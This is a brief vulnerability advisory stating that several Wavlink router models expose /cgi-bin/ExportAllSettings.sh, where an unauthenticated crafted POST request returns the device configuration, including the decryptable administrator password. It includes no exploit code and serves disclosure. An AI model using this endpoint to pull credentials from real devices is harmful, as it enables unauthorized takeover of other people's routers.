Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
